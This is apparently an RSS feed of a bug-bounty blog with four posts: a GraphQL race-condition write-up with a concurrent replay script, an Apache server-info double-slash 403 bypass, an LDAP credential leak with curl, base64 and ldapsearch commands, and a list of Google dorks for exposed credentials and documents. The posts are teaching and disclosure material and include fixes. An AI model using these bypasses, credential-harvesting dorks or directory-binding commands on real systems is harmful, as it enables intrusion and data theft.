bug bounty 2025 – Hackersatty – Learn Ethical Hacking, Bug Bounty, and Cybersecurity Tips https://hackersatty.com Hack Ethicaly, Hunt Bugs Sun, 26 Oct 2025 06:18:03 +0000 en-US hourly 1 https://hackersatty.com/wp-content/uploads/2025/06/cropped-cropped-HACKER-SATTY-scaled-1-32x32.jpg bug bounty 2025 – Hackersatty – Learn Ethical Hacking, Bug Bounty, and Cybersecurity Tips https://hackersatty.com 32 32 245626826 How I Abused a Race Condition to Create Duplicate Notification Records (sanitized) https://hackersatty.com/how-i-abused-a-race-condition-to-create-duplicate-notification-records-sanitized/ https://hackersatty.com/how-i-abused-a-race-condition-to-create-duplicate-notification-records-sanitized/#respond Sun, 26 Oct 2025 06:18:03 +0000 https://hackersatty.com/?p=521 Read More]]> Author: Satyam Pawale — hackersatty.com
Target (sanitized): vendor.hackersatty.com — Dashboard → Settings → Notifications → Add notification (modal)
Severity: High

About Me

Hey! I’m Satyam Pawale, known as @hackersatty in the bug bounty and ethical hacking world. I started bug hunting in 2024, and ever since, I’ve been obsessed with finding vulnerabilities that most people overlook.

My goal with this blog is to share real-world bug bounty experiences so other hunters can learn the techniques, tools, and mindset required to succeed — while staying ethical and responsible.

This case is about how I found critical admin endpoint vulnerabilities that allowed direct, unauthorized access to sensitive backend pages and data.

Summary

A race condition in the GraphQL CreateNotification flow allows many identical notification records to be created for the same (email, notificationType) pair by sending the same mutation concurrently. The backend performs a non-atomic existence check + insert (or lacks a uniqueness constraint), so parallel requests each succeed and create duplicate rows. Impact includes duplicate emails, queue exhaustion, corrupted metrics, and amplified downstream processing. Fix by enforcing atomic deduplication (DB unique constraint, upsert, or transactional locking) and canonicalizing inputs server-side.

Overview

While testing the notifications feature on a sanitized test instance, I discovered that sending the exact same CreateNotification GraphQL mutation near-simultaneously results in multiple identical notification records. The web UI may include client-side deduplication for UX, but the server accepts every concurrent request and persists a row per request because there is no server-side atomic deduplication or uniqueness enforcement.

All artifacts in this write-up are sanitized: domain names and identifiers use hackersatty.com and no real emails or tokens are included.

Vulnerability —

Race condition / missing server-side uniqueness: concurrent CreateNotification GraphQL mutations for the same canonical (email, notificationType) create duplicate database records.

Why this matters

  • Duplicate emails — recipients receive the same notification multiple times (spam, reputational risk).

  • Queue & worker load — duplicate rows trigger duplicate processing and waste resources.

  • Analytics pollution — duplicate rows inflate counts and break metrics.

  • Downstream amplification — exports, reporting, or workflows iterating over rows are multiplied.

  • Highly automatable — a script or proxy tool can reliably create many duplicates.

Best reproduction scenario

Preconditions

  • Valid test account on the portal.

  • Active session cookie or Authorization bearer token (the same session used by the UI).

  • Intercepting proxy or HTTP client that can replay requests concurrently (Burp Repeater, curl with xargs -P, Python aiohttp script, etc.).

  • Testing done only on authorized environments.

Steps

  1. Log into the portal at vendor.hackersatty.com with a test account.

  2. Dashboard → Settings → Notifications → Add notification (open the modal).

  3. Fill notification type (example: ACCOUNT_UPDATES) and a placeholder email (sanitized).

  4. Click Save once — confirm a single entry is created (expected).

  5. Start an intercepting proxy and perform the same Add action again to capture the GraphQL mutation for CreateNotification.

  6. Send the captured POST /graphql request to the proxy’s Repeater (or save the raw request).

  7. Clone the captured request many times (e.g., 5–20 identical copies).

  8. Use Send group (Parallel) in Burp Repeater (or run the copies concurrently via a script) so they hit the server within milliseconds of each other.

  9. Observe: each response returns success (HTTP 200 + GraphQL create payload).

  10. Refresh the Notifications UI — multiple identical notification rows appear for the same (email, notificationType) equal to the number of successful concurrent requests.

Sanitized PoC — Request (GraphQL mutation)

POST /graphql HTTP/2
Host: vendor.hackersatty.com
Content-Type: application/json
Apollographql-Client-Name: vendor-portal
Authorization: Bearer <REDACTED_TOKEN>
Origin: https://vendor.hackersatty.com
Referer: https://vendor.hackersatty.com/dashboard/settings/notifications

{
"operationName": "CreateNotification",
"variables": {
"input": {
"email": "<REDACTED_EMAIL>",
"notificationType": "ACCOUNT_UPDATES",
"accountId": 12345
}
},
"query": "mutation CreateNotification($input: CreateNotificationInput!) { createNotification(input: $input) { accountId notificationType email __typename } }"
}

Sanitized PoC — Typical Response (each concurrent request returns same success)

HTTP/2 200 OK
Content-Type: application/json

{
"data": {
"createNotification": {
"accountId": "12345",
"notificationType": "ACCOUNT_UPDATES",
"email": "<REDACTED_EMAIL>",
"__typename": "NotificationRecord"
}
}
}

Each parallel request returns a created payload and, after refresh, multiple identical notification rows exist in the UI.

Exactly how the race condition happens (technical explanation)

  1. Non-atomic check-then-insert: the server likely performs if not exists then insert.

  2. Concurrency window: when multiple identical requests arrive simultaneously, each executes the existence check before any concurrent inserts commit; each sees “no existing row” and proceeds to INSERT.

  3. No DB uniqueness constraint: the DB lacks a uniqueness constraint on (canonical_email, notification_type), so all inserts succeed.

  4. Outcome: the application returns “created” for each request; multiple identical records are persisted.

  5. Symptoms: N UI rows for N concurrent requests; duplicated processing downstream.

This is the classic race condition between check and insert under concurrency — the fix is to make creation atomic at the storage layer or to serialize the creation path.

Techniques & tools used (methodology)

  • Intercepting proxy: Burp Suite (Proxy + Repeater) with Send group (Parallel).

  • Alternative concurrency methods: curl with xargs -P, Python aiohttp or threaded requests, wrk/hey.

  • Verification: compare number of created rows in UI to number of concurrent requests; inspect GraphQL responses for created payloads.

  • Sanitization: remove tokens, emails, and PII from stored artifacts.

  • Optional automation: small async script that sends identical POSTs concurrently to reproduce in staging.

  • Race Condition

Concrete fixes (prioritized)

1) Enforce uniqueness at the database layer (recommended)

Create a unique index on canonicalized email + notification_type:

CREATE UNIQUE INDEX CONCURRENTLY idx_notifications_unique_email_type
ON notifications ((lower(email)), notification_type);

This guarantees the storage layer prevents duplicates under concurrent load.

2) Use atomic upsert (ON CONFLICT)

Preferred pattern:

INSERT INTO notifications (account_id, email, notification_type, created_at)
VALUES ($1, lower($2), $3, now())
ON CONFLICT ((lower(email)), notification_type) DO UPDATE
SET updated_at = EXCLUDED.created_at
RETURNING *;

Or ON CONFLICT DO NOTHING followed by SELECT the existing row if you need to return it.

3) Server-side canonicalization

Always canonicalize emails server-side (trim + lowercase + unicode normalize) before checks or inserts.

const canonicalEmail = email.trim().toLowerCase();

4) Optional: idempotency token

If clients can provide an idempotency key, enforce it server-side to dedupe create attempts. This is most suitable for API clients rather than basic UI clicks.

5) Transactional locking / advisory locks

If ON CONFLICT is not available, use transactional serialization or an advisory lock keyed by (account_id, canonical_email, notification_type) to serialize creation. This is less desirable than DB uniqueness + upsert.

Pseudocode — atomic upsert (preferred)

function createNotification(accountId, email, notificationType):
email = canonicalize(email) // trim + lowercase + normalize

result = db.query(
`INSERT INTO notifications (account_id, email, notification_type, created_at)
VALUES ($1, $2, $3, now())
ON CONFLICT ((lower(email)), notification_type) DO UPDATE
SET updated_at = now()
RETURNING *`,
[accountId, email, notificationType]
)

return result

Detection & monitoring recommendations

  • Alert on spikes in notifications creation per account or per email.

  • Instrument unique-violation metrics after adding constraints to detect attempted duplicates.

  • Audit logs: record create attempts, client IPs, and request ids for concurrent patterns.

  • Queue monitoring: track message queue length and worker backlogs triggered by notification rows.

Safe remediation rollout plan

  1. Immediate

    • Canonicalize emails server-side (lowercase + trim).

    • Add rate limits to the create endpoint.

  2. High priority

    • Clean existing duplicates (see dedupe plan below).

    • Create a unique index concurrently and change create flow to INSERT ... ON CONFLICT.

  3. Post-fix

    • Run dedupe migration in controlled batches and add monitoring.

Dedupe migration (safe approach)

  1. Backup the table.

  2. Identify duplicates:

SELECT lower(email) AS email_norm, notification_type, count(*) AS c
FROM notifications
GROUP BY lower(email), notification_type
HAVING count(*) > 1;

  1. Keep one canonical row (e.g., earliest created_at) and delete others in batches:

WITH ranked AS (
SELECT id, ROW_NUMBER() OVER (
PARTITION BY lower(email), notification_type
ORDER BY created_at ASC
) rn
FROM notifications
)
DELETE FROM notifications
WHERE id IN (SELECT id FROM ranked WHERE rn > 1)
LIMIT 1000; -- run repeatedly until done

  1. Validate referential integrity and update dependent tables if necessary. Run in small batches with an audit trail.

Example automated reproduction script (sanitized, Python async)

For authorized testing only — do not run against production without permission.

# async_replay.py (sanitized)
import asyncio
import aiohttp

URL = "https://vendor.hackersatty.com/graphql"
HEADERS = {
"Content-Type": "application/json",
"Authorization": "Bearer <REDACTED_TOKEN>"
}
PAYLOAD = {
"operationName": "CreateNotification",
"variables": {
"input": {
"email": "<REDACTED_EMAIL>",
"notificationType": "ACCOUNT_UPDATES",
"accountId": 12345
}
},
"query": "mutation CreateNotification($input: CreateNotificationInput!) { createNotification(input: $input) { accountId notificationType email } }"
}

async def send_one(session):
async with session.post(URL, json=PAYLOAD, headers=HEADERS) as resp:
text = await resp.text()
return resp.status, text

async def main(n):
async with aiohttp.ClientSession() as session:
tasks = [send_one(session) for _ in range(n)]
return await asyncio.gather(*tasks)

if __name__ == "__main__":
results = asyncio.run(main(10))
for status, body in results:
print(status, body[:200])

This script sends 10 concurrent create requests; on an affected system you would see multiple created rows.

Short checklist to verify the fix in staging

  1. Add canonicalization and upsert logic + unique index in a branch.

  2. Run the staging app and attempt the same parallel test (Burp Repeater Send group or the async script).

  3. Confirm only one notification row exists per canonical (email, notificationType) after the concurrent attempts.

  4. Monitor logs and unique-violation metrics; expect zero unhandled constraint errors in normal flow.

  5. Run the dedupe migration if historical duplicates exist and then create the index.

Summary —

  1. Enforce uniqueness at the DB layer: create a unique index on canonicalized (lower(email), notification_type).

  2. Make creation atomic: use INSERT ... ON CONFLICT (upsert) or equivalent so concurrent creates cannot produce duplicates.

  3. Canonicalize inputs server-side: trim and lowercase emails and return the existing resource or a clear response when duplicates are attempted.

Final Thoughts

This case is a perfect reminder that even mature applications can overlook concurrency edge cases that don’t show up in regular testing. Client-side validation or simple “check-before-insert” logic might appear sufficient, but when operations run in parallel, the tiniest race window can lead to large-scale data integrity issues.

What made this bug particularly impactful is that it didn’t rely on exotic conditions or privilege escalation — just timing. By coordinating concurrent identical requests, an attacker could manipulate backend logic in ways that normal single-threaded testing would never reveal.

In real-world systems where notifications, transactions, or queue-based processes are triggered by new records, such duplication can have serious downstream effects — from flooding users with redundant messages to distorting analytics or overloading task queues.

Building truly robust APIs requires more than input validation; it demands atomic operations, proper database constraints, and a mindset that anticipates concurrency. Race conditions often hide in plain sight, but once discovered, they offer some of the most valuable lessons for improving backend resilience.

In short, always think in parallel — because your attackers certainly will.

]]> https://hackersatty.com/how-i-abused-a-race-condition-to-create-duplicate-notification-records-sanitized/feed/ 0 521 Apache server-info Exposure: 7-Step Deep Analysis of 403 Bypass & Internal Data Leak https://hackersatty.com/apache-server-info-exposure-403-bypass/ https://hackersatty.com/apache-server-info-exposure-403-bypass/#respond Wed, 06 Aug 2025 10:41:22 +0000 https://hackersatty.com/?p=485 Read More]]> About Me

I’m Satyam Pawale, better known in the bug bounty world as @hackersatty. As a dedicated security researcher, I specialize in uncovering complex misconfigurations and information disclosures—especially in web servers and directory services. My toolkit includes Shodan, Burp Suite, custom scripts, and creative reconnaissance techniques. In this article, I’ll guide you through the discovery and exploitation of an Apache server-info Exposure vulnerability, so you can sharpen your own bug bounty skills and help secure critical infrastructure.

2. Introduction

Apache server-info Exposure via a 403 bypass is a critical misconfiguration that can unveil deep internal infrastructure—ranging from module lists and environment variables .

3. What Are Apache server-info Exposure and server-status?

Apache server-info Exposure HTTP Server provides two administrative modules by default:

  • mod_info (/server-info): Reveals server configuration, loaded modules, compiled-in directives, and runtime parameters.

  • mod_status (/server-status): Displays live metrics—active requests, worker threads, bytes served, and uptime.

These endpoints are invaluable for administrators but must be strictly restricted (e.g., Require local or IP whitelisting). Left exposed, they become a treasure trove for attackers mapping infrastructure and identifying potential weaknesses.

4. Path Normalization & Bypass Fundamentals

Web servers normalize incoming paths to apply security rules uniformly. However, path normalization vulnerabilities arise when different components handle slashes inconsistently. A common bypass technique:

  1. Expected Denial:

    GET /server-info
    → 403 Forbidden

  2. Bypass with Double Slash:

    GET //server-info
    → 200 OK

Some security controls see //server-info as a different resource, failing to apply the 403 rule. By chaining encoding tricks or additional slashes, attackers slip past defenses.

5. Discovery of the Vulnerability

During routine reconnaissance with automated path enumeration tools, the following sequence occurred:

  1. Initial Scan:

    • Tool: Custom Python script iterating common admin paths.

    • Found /server-status and /server-info returned 403 on standard requests.

  2. Bypass Attempt:

    curl -I http://target.example.com//server-status
    # HTTP/1.1 200 OK

  3. Verification:

    • Visiting //server-status in a browser displayed live server metrics.

    • Similarly, //server-info rendered a full HTML page listing configuration details.

6. Technical Deep Dive: Double-Slash Bypass

6.1 Apache server-info Exposure Configuration Fragment

<Location "/server-info">
Require local
</Location>
<Location "/server-status">
Require ip 10.0.0.0/8 192.168.0.0/16
</Location>

6.2 Path Normalization Steps

  1. Raw Request: //server-info

  2. Server Core: Treats leading double slash as a single slash.

  3. Authorization Module: Matches against the original request URI (//server-info), skipping the rule that blocks external requests.

7. Proof of Concept (PoC) Walkthrough

  1. Standard Access (Denied):

    curl -i http://target.example.com/server-info
    # HTTP/1.1 403 Forbidden

  2. Bypass Request (Allowed):

    curl -i http://target.example.com//server-info
    # HTTP/1.1 200 OK

  3. Retrieve Configuration:

    • Visit http://target.example.com//server-info?config to list full conf.

    • Use ?module=mod_authnz_ldap.c to see LDAP auth directives.

  4. Confirm Sensitive Credentials:

    AuthLDAPBindDN "uid=apacheauth,cn=Service Accounts,dc=example,dc=com"
    AuthLDAPBindPassword "P@ssw0rd!123"

  5. Extract Private IP Ranges:

      • Over 100 lines of Require ip and Allow from with CIDR blocks like 10.0.0.0/8, 172.16.0.0/12.

    Diagram illustrating Apache path normalization bypass using double-slash to access server-info despite 403 restriction – Apache server-info Exposure
    Path normalization flow demonstrating double-slash bypass to elude 403 protections

8. Exposed Data & Internal Config Details

Through /server-info, the attacker gains:

  1. LDAP Authentication Credentials:

    AuthLDAPBindDN "uid=apacheauth,cn=Service Accounts,dc=example,dc=com"
    AuthLDAPBindPassword "P@ssw0rd!123"

  2. Complete Module List:

    • mod_ssl, mod_dav, mod_proxy, mod_authnz_ldap, mod_log_config, and more.

  3. Environment Variables:

    • SERVER_ROOT, HTTPD_ROOT, MPM_WORKER, and custom site-specific vars.

  4. Private & Public IP Ranges:

    10.0.0.0/8
    172.16.0.0/12
    192.168.0.0/16
    203.0.113.5
    198.51.100.22
    …100+ entries

  5. Runtime Hooks & VirtualHosts:

    • Active mod_rewrite rules, virtual host configs, SSL cipher suites.

9. Impact Analysis

  • Confidentiality: Attackers see internal topologies, service accounts, and credentials.

  • Integrity: Knowledge of modules (e.g., mod_proxy) enables targeted CVE chaining.

  • Availability: Although read-only, leaked DoS‐vulnerable modules (e.g., mod_dav) could be exploited.

  • Compliance: Violates GDPR/PCI-DSS by exposing sensitive configuration and creds.

  • Attack Chains:

    1. Use AuthLDAPBindDN to bind and enumerate directory.

    2. Identify vulnerable modules (e.g., mod_authnz_ldap CVE-2018-1312).

    3. Mount DoS or RCE attacks based on leaked module versions.

10. Mitigation & Hardening Strategies

  1. Disable Unused Modules: Remove mod_info and mod_status from production.

  2. Strict Access Controls:

    <LocationMatch "^/server-(info|status)">
    Require ip 127.0.0.1 ::1
    </LocationMatch>

  3. Path Normalization Fixes:

    • Upgrade to Apache server-info Exposure  ≥2.4.50 where double-slash handling is hardened.

    • Add WAF rules to block // sequences.

  4. Credential Security: Move LDAP bind credentials to a secure vault—never in plaintext.

  5. Regular Audits & Pen Tests: Include bypass scenarios in automated scans.

11. Broader Security Lessons

  • Assume All Endpoints Are Public: Test with modified URIs (//, ..;, URL-encoding).

  • Defense in Depth: Even if modules are enabled, restrict them at the network perimeter.

  • Secret Management: Hardening is only as strong as your secret storage.

  • Monitor for Anomalies: Alert on requests containing suspicious patterns (//server-).

11. External Resources & Further Reading

13. Conclusion

The Apache server-info Exposure vulnerability demonstrates how a seemingly minor path-normalization issue can compromise an entire web server’s security posture. Attackers can bypass 403 restrictions, harvest sensitive credentials, map private networks, and identify vulnerable modules—paving the way for lateral movement and targeted exploits. By understanding the mechanics of double-slash bypass, continuously auditing server configurations, and enforcing strict access controls, organizations can defend against such high-impact misconfigurations.

14. Final Thoughts: Other Bug Bounty Blogs

Google Dorking remains a powerful reconnaissance technique in modern bug bounty methodology. With the right mindset and crafted queries, it’s possible to uncover sensitive files, misconfigurations, credentials, and more—without sending a single request to the server. This makes it especially useful for stealthy or scope-sensitive bug bounty programs.

Remember: always stay within scope, validate what you find, and follow responsible disclosure guidelines.

Keep exploring. Keep hunting.

]]> https://hackersatty.com/apache-server-info-exposure-403-bypass/feed/ 0 485 LDAP Credential Exposure: 7-Step In-Depth Analysis of an Unauthenticated Data Leak https://hackersatty.com/ldap-credential-exposure/ https://hackersatty.com/ldap-credential-exposure/#respond Wed, 06 Aug 2025 10:04:38 +0000 https://hackersatty.com/?p=480 Read More]]> About Me
I’m Satyam Pawale, better known in the bug bounty world as @hackersatty. Over the years, I’ve honed my skills in uncovering critical vulnerabilities—ranging from API misconfigurations to directory-service exposures—by combining deep protocol expertise with inventive reconnaissance techniques. As a dedicated bug bounty hunter, I leverage tools like Shodan, Burp Suite, and custom scripts, alongside thoughtfully crafted Google Dorks, to find hidden endpoints and sensitive data leaks that others might miss.
In this article, I’ll share my journey discovering an unauthenticated LDAP credential exposure, demonstrate a step-by-step proof of concept, and explore real-world exploitation scenarios. My goal is to help you add powerful LDAP reconnaissance and exploitation strategies to your own bug bounty toolkit—so you can responsibly disclose impactful flaws and make the web a safer place.

1. Introduction

LDAP Credential Exposure occurs when unauthenticated API endpoints leak internal directory configuration data—including usernames, passwords, server addresses, and domain information—without any access control. Such a flaw can be exploited by attackers to bind directly to corporate directory services (e.g., Active Directory), perform directory enumeration, pivot laterally, and potentially escalate privileges to domain-wide compromise.

In this write-up, we examine a real bug bounty report against a fictionalized “AcmeSecure” environment—sanitizing all sensitive data—and deliver an exhaustive exploration that spans over 2,000 words. You’ll learn:

  • The history and purpose of LDAP Credenital Exposure

  • How LDAP Credential Exposure authentication works under the hood

  • Reconnaissance methods (e.g., Shodan queries)

  • Detailed virus-style API misconfiguration analysis

  • Step-by-step proof-of-concept exploitation

  • Multiple real-world attack scenarios and impact

2. LDAP Credenital Exposure : Origins and Purpose

LDAP (Lightweight Directory Access Protocol) originated in the early 1990s as a simplified alternative to the X.500 directory standard. Developed by Tim Howes and his team at the University of Michigan, LDAP quickly became the de-facto protocol for directory services.

  • Primary Role: Provide a structured, hierarchical directory for storing information about users, groups, computers, printers, and policies.

  • Data Model: Tree-structured entries (DNs—Distinguished Names) comprised of attributes (e.g., cn, uid, memberOf).

  • Common Implementations: OpenLDAP, Microsoft Active Directory, 389 Directory Server.

<p align=”center”> <img src=”https://via.placeholder.com/800×300″ alt=”LDAP Directory Tree Diagram” /> </p> <small>Figure: Sample LDAP directory hierarchy</small>

3. How LDAP Authentication Works

At its core, LDAP Credenital Exposed authentication revolves around the Bind operation:

  1. Anonymous Bind: No credentials; often restricted to public or read-only data.

  2. Simple Bind: Provides a DN (e.g., cn=reader,dc=example,dc=com) and a password—sent in cleartext or Base64—unless protected by TLS.

  3. SASL Bind: Supports stronger mechanisms (e.g., GSSAPI/Kerberos, DIGEST-MD5).

Key Insight: If an attacker obtains valid bind credentials, they can perform any operation permitted by that account’s ACLs—ranging from simple searches to full directory modifications.

4. Common LDAP Deployment Architectures

Organizations often deploy LDAP Credential Exposure in multi-tier configurations:

  • Primary Directory Servers: Authoritative storage, typically protected behind firewalls.

  • Read-Only Replicas (RODCs): Distributed for load balancing; still require authentication.

  • Edge-Facing Connectors: Application-specific proxies or API gateways that translate internal LDAP Credenital Exposure requests into RESTful calls.

When applications expose LDAP configuration via internal APIs—especially for dynamic authentication forms—they must ensure those endpoints enforce strict access controls. Unfortunately, misconfigurations are widespread.

LDAP directory hierarchy illustrating organizational units for user and group entries – LDAP Credential Exposure
Sanitized JSON snippet displaying LDAP server address, username, and Base64-encoded password returned by an unauthenticated API endpoint, demonstrating LDAP Credential Exposure

5. Reconnaissance Techniques

Before exploitation, attackers perform broad reconnaissance. Tools and methods include:

  • Shodan Searches:

    hostname:"*.acmesecure.com" http.status:200

    This filter returns all hosts under the target domain with port 80/443 open and responding with status 200.

  • SSL/TLS Metadata Analysis: Identifies certificate common names and SANs (subject alternative names) to map subdomains back to the organization.

  • Crawler Scripts: Automated scanners (e.g., waybackurls, gau) enumerate historical endpoints and parameter names.

By correlating subdomains and endpoints, attackers pinpoint candidate API paths that may leak configuration details.

6. Discovery of the Vulnerability

6.1 Initial Shodan Finding

One subdomain, api.acmesecure.com, responded to:

https://api.acmesecure.com/api/v1/config/ldap

with a 200 OK and JSON payload. No Authorization header or session cookie was required.

6.2 Secondary Subdomain

A development instance, dev-acme.acmesecure.com, mirrored the production API stub:

/api/v1/config/ldap

This endpoint also returned identical JSON, confirming the flaw was systemic across environments, not just an overlooked corner of the network.

6.3 Raw API Response (Sanitized)

[
{
"id": 1,
"domain": "corp.acme.local",
"username": "ldap_reader_sample",
"password": "c2VjdXJlLXBhc3N3b3Jk",
"server": "ldap.acme.local",
"use_tls": false
}
]

  • Username: ldap_reader_sample

  • Password (Base64): c2VjdXJlLXBhc3N3b3Jk

  • TLS Disabled: use_tls: false

7. Technical Deep Dive: API Misconfiguration

Why do misconfigurations like LDAP Credential Exposure happen? Common root causes:

  1. Debug Endpoints Left Active: Development or testing code pushed to production without disabling admin/debug routes.

  2. Lack of API Gateway Enforcement: Internal endpoints bypass gateway policies that would normally enforce authentication.

  3. Monolithic Codebases: Shared libraries expose configuration via utility functions that assume internal trust.

  4. Insufficient Code Reviews: Overlooked default routes or helper methods (e.g., getLdapConfig()) end up in production builds.

In our scenario, a REST-style endpoint—originally intended only for the application’s frontend login page—was never protected by middleware checks. The development build included it for convenience, and the deployment pipeline did not strip it out.

8. Proof of Concept (PoC) Walkthrough

Below is a step-by-step demonstration of how an attacker verifies and exploits the leak:

  1. Unauthenticated Fetch:

    curl -s https://api.acmesecure.com/api/v1/config/ldap | jq

  2. Decode Base64 Password:

    echo "c2VjdXJlLXBhc3N3b3Jk" | base64 -d
    # Outputs: secure-password

  3. LDAP Bind Test (Simple Bind):

    ldapsearch -x -H ldap://ldap.acme.local -D "cn=ldap_reader_sample,dc=corp,dc=acme,dc=local" \
    -w secure-password -b "dc=corp,dc=acme,dc=local" "(objectClass=*)"

    Successful results confirm live credentials.

  4. Directory Enumeration:
    Once bound, the attacker can query for sensitive entries:

    ldapsearch -x -H ldap://ldap.acme.local -D "cn=ldap_reader_sample,..." \
    -w secure-password -b "ou=IT,dc=corp,dc=acme,dc=local" "(uid=*)" cn mail

  5. Pivoting to Other Services:
    Many enterprise apps support LDAP-backed auth—so the attacker can log in to internal dashboards, SSO portals, or even password reset endpoints if sufficiently privileged.

9. Exploitation Scenarios and Lateral Movement

Once an attacker has valid LDAP credential Exposure, the attack paths multiply:

  • Active Directory Domain Compromise: If the service account has write permissions to userPassword, an attacker could escalate privileges by resetting critical accounts.

  • SSO Exploitation: Corporate Single Sign-On portals often use LDAP to authenticate users; stolen creds can allow direct access to web applications.

  • Email Harvesting: LDAP directories usually list user email addresses—valuable for phishing campaigns.

  • Credential Reuse Attacks: If the same password is used in other internal systems (e.g., Jenkins, Confluence), the risk compounds.

  • Pass-the-Hash Tactics: Even without plaintext passwords, an attacker might extract or relay NTLM hashes via Kerberos or NTLM protocols.

Real-World Outcome: At a Fortune 500 company, an attacker leveraged an exposed LDAP service account to enumerate all employees, then phished high-value targets with legitimate-looking internal URLs. Within 24 hours, they gained access to the CFO’s email and extracted financial forecasts.

10. Impact Analysis

An LDAP Credential Exposure vulnerability directly undermines:

  • Confidentiality: Exposure of usernames, passwords, and internal network structure.

  • Integrity: Unauthorized users binding with write privileges can alter directory entries.

  • Availability: An attacker could overload the LDAP server with malicious queries, causing denial-of-service.

  • Regulatory Compliance: Violations of GDPR, HIPAA, or SOX by exposing or modifying personal data.

  • Business Continuity: Critical business applications relying on LDAP may become compromised or untrusted.

Attackers with directory access can rapidly escalate to full domain compromise, exfiltrate sensitive data, or disrupt critical services.

11. Mitigation Overview

While this write-up focuses on deep-dive analysis, here’s a concise set of high-level recommendations:

  • Disable or Protect Debug Endpoints: Remove unused API routes in production.

  • Enforce Authentication & Authorization: Every internal endpoint must pass through an API gateway or middleware.

  • Adopt Secure Secret Storage: Move credentials to vaults (e.g., HashiCorp Vault) and never encode them in Base64.

  • Use Encrypted LDAP (LDAPS): Enforce TLS on directory binds (use_tls: true).

  • Implement Routine Pen Tests: Simulate reconnaissance and API fuzzing to catch exposures early.

12. Broader Lessons for Developers and SecOps

  1. Shift Left on Security: Integrate automated security checks (e.g., SAST, DAST) into CI/CD pipelines.

  2. Least Privilege Architecture: Service accounts should have only the minimal permissions they require.

  3. Environment Parity: Keep test, staging, and production environments closely aligned in configuration—so that stripping debug routes in one doesn’t break another.

  4. Comprehensive Inventory: Maintain an up-to-date map of all APIs and endpoints.

  5. Monitoring & Alerting: Instrument critical routes with anomaly detection and alert on high-volume or unauthenticated calls.

13. External Resources & Further Reading

14. Conclusion

The LDAP Credential Exposure bug underscores how a single misconfigured endpoint can unravel an organization’s entire directory security posture. By examining each stage—from reconnaissance through exploitation and impact—we gain critical insights into both attacker methodologies and defender responsibilities.

❗ Take Action Today: Review your API surface, audit for any exposed directory configurations, and enforce robust access controls. Preventing an LDAP Credential Exposure could mean the difference between a contained incident and a full domain takeover.

Final Thoughts : Other Bug Bounty Blogs

Google Dorking remains a powerful reconnaissance technique in modern bug bounty methodology. With the right mindset and crafted queries, it’s possible to uncover sensitive files, misconfigurations, credentials, and more—without sending a single request to the server. This makes it especially useful for stealthy or scope-sensitive bug bounty programs.

Remember: always stay within scope, validate what you find, and follow responsible disclosure guidelines.

Keep exploring. Keep hunting.

]]> https://hackersatty.com/ldap-credential-exposure/feed/ 0 480 25+ Google Dorks for Bug Bounty: Find Exposed Signatures, NDAs & Confidential Docs https://hackersatty.com/google-dorks-bug-bounty-guide/ https://hackersatty.com/google-dorks-bug-bounty-guide/#respond Fri, 18 Jul 2025 10:46:28 +0000 https://hackersatty.com/?p=437 Read More]]> By Satyam Pawale (@hackersatty)

About Me

Google Dorks Bug bounty is one of the most underrated skills in bug bounty hunting, yet it can lead to discovering high-severity and real-world vulnerabilities. I’m Satyam Pawale, widely known in the cybersecurity community as @hackersatty. As a passionate bug bounty hunter, I specialize in uncovering impactful bugs through creative reconnaissance techniques, especially using publicly available search engines like Google.

In this article, I’ll show you how to perform actionable bug bounty reconnaissance using Google Dorks Bug bounty to discover sensitive information like signature pages, NDAs, internal contracts, credentials, and other confidential files that are often unintentionally exposed on the web. Whether you’re a beginner or a seasoned hunter, you’ll learn how to add this powerful skill to your recon arsenal.

Let’s dive deep into the art of dorking for vulnerabilities.

Introduction

Google Dorking, also known as Google hacking, is an advanced search technique used to find exposed sensitive information through the use of tailored Google queries. For bug bounty hunters, Google Dorks Bug Bounty can serve as a gateway to discovering misconfigurations, exposed credentials, hidden portals, and even full documents that were never meant to be public.

I’m Satyam Pawale, widely known in the cybersecurity community as @hackersatty. As a passionate bug bounty hunter, I specialize in unearthing hidden vulnerabilities and valuable assets using methods that are both manual and automation-driven. Google Dorking is one of the oldest yet still highly effective methods for performing reconnaissance during bug bounty assessments.

In this article, we’ll walk through real-world examples, advanced Google Dork techniques, signature hunting, and tips to optimize your bug bounty recon. Whether you’re just starting out or already deep into bug bounty hunting, this guide will give you a fresh edge using Google search itself.

What is Google Dorking?

Google Dorking involves using special search operators to extract hidden information from public-facing websites. The idea is that Google indexes everything—sometimes more than it should—and by crafting specific queries, you can find pages that developers never intended to be indexed.

Focus Keyword: Google Dorks Bug Bounty

Why Use Google Dorks Bug Bounty?

Bug bounty is about scope, precision, and creativity. Often, the most critical bugs are buried in obscure or forgotten assets. Google Dorks Bug Bounty let you:

  • Find sensitive documents (PDF, XLSX, DOCX, TXT)
  • Uncover exposed login panels and admin consoles
  • Locate API keys or credentials in indexed pages
  • Discover configuration files or server info
  • Reveal staging environments and forgotten subdomains

Google Dorks extend your recon capabilities without the need for intrusive scanning.

Real-World Examples of Google Dorks Bug Bounty

1. Finding Exposed PDF Contracts

site:example.com filetype:pdf confidential

Use this to find PDF files with potentially sensitive contracts or agreements. Add intitle:"nda" to refine for NDAs.

site:example.com filetype:pdf intitle:nda

2. Discovering Passwords in GitHub Repos

site:github.com "api_key" "example.com"

Search GitHub for exposed API keys linked to your target.

3. Login Panel Discovery

site:example.com inurl:admin
site:example.com intitle:"login"

Great for finding potential login endpoints and bypassing public-facing dashboards.

4. Configuration Files Exposure

site:example.com ext:env | ext:yaml | ext:json

Many .env, .yaml, or .json files contain DB credentials and API tokens.

5. Index Pages and Directory Listings

site:example.com intitle:"index of /"

Use this to locate open directories or file servers.

Dork Crafting Approach

A smart bug bounty hunter understands how to craft dorks per asset type. Here’s how to approach it:

Step 1: Understand the Asset Type

  • Web apps: Look for login pages, dashboards
  • APIs: Look for documentation, keys, usage logs
  • Documents: PDFs, Excel sheets, TXT notes
  • Cloud Storage: Google Drive, AWS S3, Firebase

Step 2: Combine Keywords & Operators

Use logical operators:

  • site: to limit to a domain
  • filetype: to find specific formats
  • intitle: for keyword in title
  • inurl: for keyword in URL
  • cache: to view old or deleted versions

Step 3: Add Contextual Terms

Terms like “confidential”, “internal use only”, “do not share”, “restricted” often lead to gold mines.

site:example.com filetype:pdf "internal use only"

Advanced Signature Hunting Using Google Dorks

A powerful tactic is finding signature pages that contain document footers, author names, company templates, or timestamp structures. You can do this by:

Searching for Signature Markers

site:example.com filetype:pdf "Signature"
site:example.com filetype:pdf "Authorized Signatory"

These can reveal:

  • Contractual documents
  • Signed NDAs
  • Employment documents
  • Partnership forms

Sometimes these documents contain personal info, email IDs, full addresses, or contract clauses—providing strong reconnaissance material or even PII disclosures.

